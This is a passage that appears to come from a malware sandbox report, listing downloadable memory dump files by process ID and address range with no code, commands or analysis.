        memory/4512-82-0x0000021081CA0000-0x0000021081CF5000-memory.dmp
        Download

        memory/4532-347-0x00000000053B0000-0x0000000005437000-memory.dmp
        Download

        memory/4684-132-0x0000000005A00000-0x0000000005A87000-memory.dmp
        Download

        memory/4804-251-0x0000000005420000-0x00000000054A7000-memory.dmp
        Download

        memory/4908-388-0x0000000005170000-0x00000000051F7000-memory.dmp
        Download

        memory/4916-193-0x0000000006230000-0x0000000006584000-memory.dmp
        Download

        memory/4916-198-0x00000000061A0000-0x0000000006227000-memory.dmp
        Download

        memory/4956-396-0x0000000006160000-0x00000000064B4000-memory.dmp
        Download

        memory/4988-368-0x0000000005030000-0x00000000050B7000-memory.dmp
        Download

        memory/5032-187-0x00000000054B0000-0x0000000005537000-memory.dmp
        Download

        memory/5088-271-0x00000000056A0000-0x0000000005727000-memory.dmp
        Download